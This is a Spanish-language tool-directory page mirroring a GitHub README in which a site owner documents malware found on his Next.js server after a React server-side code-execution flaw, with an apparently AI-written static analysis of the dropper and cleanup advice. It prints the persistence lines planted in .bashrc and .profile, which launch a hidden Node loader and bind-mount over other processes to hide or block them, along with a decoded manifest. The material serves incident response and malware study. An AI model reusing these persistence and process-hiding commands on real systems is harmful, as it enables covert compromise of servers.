Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
react-cve-2025-55182 — malware que encontré en mi servidor | Kitploit
Herramientas/GitHubGitHub/stonelinks/react-cve-2025-55182
Mecanismos de PersistenciaIngeniería InversaExfiltración de DatosAnálisis ForenseAnálisis de MalwareComando y ControlInteligencia de AmenazasRespuesta a IncidentesDesarrollo de Payloads
GitHubstonelinks/react-cve-2025-55182

react-cve-2025-55182

malware que encontré en mi servidor

hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

react-cve-2025-55182

Esto es un volcado de malware y otras basuras sospechosas que encontré en el servidor de mi sitio web de bodas tras el exploit de ejecución de código en el renderizado del lado del servidor de React. Es un droplet modesto de Digital Ocean que ejecuta una aplicación de Next.js bastante corriente.

El CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

Un registro de la actividad del servidor que muestra varios picos y demás: image

El principal culpable parece ser esto instalado en /.local/share/.r0qsv8h1

Lo que encontré

En mi bashrc:

root@kitploit:~
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null

Observa que los pgreps están ahí para impedir que se ejecute este otro malware falso llamado "meshagent". Puedes leer más sobre ello en el documento MESHAGENT.md.

En mi profile está lo mismo

root@kitploit:~
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

Puedes ver otros servicios sospechosos en SUSPICIOUS_SERVICES.md

Aquí tienes un análisis de este malware principal:

Resumen de lo de /.local/

El directorio bad contiene un runtime de Node.js autocontenido junto con un conjunto de archivos JavaScript fuertemente ofuscados.
Toda la evidencia apunta a que se trata de un dropper malicioso que contacta silenciosamente con un servidor remoto, descarga una carga útil cifrada, la descifra, la escribe en disco y la ejecuta como un proceso en segundo plano desacoplado. El código también comprueba periódicamente si el servidor tiene actualizaciones.

Archivos y su propósito

Decodificación del manifiesto

La carga útil Base64 en .5f8562 se decodifica a:

root@kitploit:~
{
  "0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
  "1": ".fvq2lzj6te.js",
  "3": 1765307786421,
  "4": "desktop"
}
  • La clave "1" hace referencia al script cargador ofuscado principal.
  • La clave "0" es un UUID que probablemente usa el servidor remoto para el seguimiento.
  • La clave "3" es una marca de tiempo (ms de época Unix) que indica cuándo se generó el manifiesto.
  • La clave "4" indica la ubicación prevista (desktop), lo que sugiere que la carga útil podría intentar ocultarse allí.

Flujo de ejecución

  1. Arranque – Cuando se inicia el binario de Node incluido (p. ej., node .5f8562), el manifiesto apunta a .fvq2lzj6te.js.
  2. Descargador – El cargador crea una petición JSON‑RPC a un servidor remoto de comando y control, recibe un blob codificado en base64 y lo descifra usando un algoritmo similar a RC4 personalizado.
  3. Despliegue de la carga útil – Los datos descifrados se escriben en un archivo con nombre aleatorio en el entorno del usuario y se ejecutan como un proceso hijo desacoplado.
  4. Persistencia / Bucle de actualización – Un temporizador setInterval repite periódicamente la secuencia de descarga‑descifrado‑ejecución, lo que permite al atacante enviar cargas útiles nuevas o actualizadas sin necesidad de más interacción del usuario.
  5. Ejecución en segundo plano – El proceso lanzado se ejecuta con su propio entorno (PATH, cwd, etc.) y puede realizar acciones maliciosas típicas como criptominería, robo de credenciales o ejecución remota de comandos.

Impacto potencial

  • Compromiso del sistema – Ejecución arbitraria de código con los privilegios del usuario que lanzó el runtime de Node.
  • Persistencia – El sondeo periódico garantiza que el malware pueda actualizarse o reemplazarse en cualquier momento.
  • Abuso de recursos – Es probable que ejecute tareas de uso intensivo de CPU (p. ej., minería de criptomonedas) o que exfiltre datos.
  • Sigilo – Los archivos están fuertemente ofuscados y la presencia de un README de Node de apariencia legítima ayuda a ocultar la naturaleza maliciosa.

Recomendaciones

  1. Eliminación inmediata – Borra todo el directorio .r0qsv8h1 y cualquier archivo que haya podido crear (revisa el Desktop del usuario y los directorios temporales en busca de ejecutables recién creados).
  2. Escaneo del sistema – Ejecuta un escáner antivirus de confianza en el host para detectar cualquier componente residual.
  3. Verifica las rutas de ejecución – Asegúrate de que ningún script de inicio o tarea programada haga referencia a archivos de este directorio.
  4. Monitorización de red – Bloquea las conexiones salientes a IPs/hosts desconocidos desde la máquina afectada y revisa el tráfico de red reciente en busca de peticiones salientes sospechosas.
  5. Actualiza las políticas de seguridad – Restringe la ejecución de binarios y scripts desconocidos, especialmente los que se descargan en ubicaciones escribibles por el usuario.

Este análisis fue realizado automáticamente por un asistente de IA basándose en un examen estático de los archivos presentes en el directorio. No se realizó ninguna ejecución en tiempo real.

Puedes leer más en DEOBFUSCATE.md

Descargar herramienta
ArchivoDescripción
.394ly8v9/README.mdREADME estándar de Node.js – no está relacionado con la funcionalidad maliciosa; está presente solo para que el paquete parezca legítimo.
.fvq2lzl64e.js~5 KB de JavaScript ofuscado. Construye una petición HTTP JSON‑RPC, recibe una carga útil codificada en base64, la descifra con un cifrado personalizado, escribe la carga útil en un archivo aleatorio y la ejecuta mediante child_process.spawn / execSync. También lanza un proceso en segundo plano desacoplado que sondea repetidamente el servidor remoto.
.lauphhtqrg.js~13 KB de JavaScript ofuscado. Implementa un bucle similar de descarga‑descifrado‑ejecución con su propio cifrado de estilo RC4 (dec). Escribe la carga útil descifrada en un nombre de archivo generado y la ejecuta. Configura un temporizador para obtener nuevas cargas útiles más tarde.
.5f8562Cadena Base64 en texto plano. Se decodifica a un pequeño manifiesto JSON: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Este manifiesto le indica al cargador qué script ejecutar (.fvq2lzj6te.js) y proporciona un identificador/marca de tiempo.
.b0rtqscrkeovAún no examinado, pero el patrón de nomenclatura sugiere que es otro componente de la misma cadena maliciosa.
bin/node y los archivos lib/ que lo acompañanUn runtime completo de Node.js, que permite que los scripts se ejecuten en un sistema aunque Node.js no esté instalado.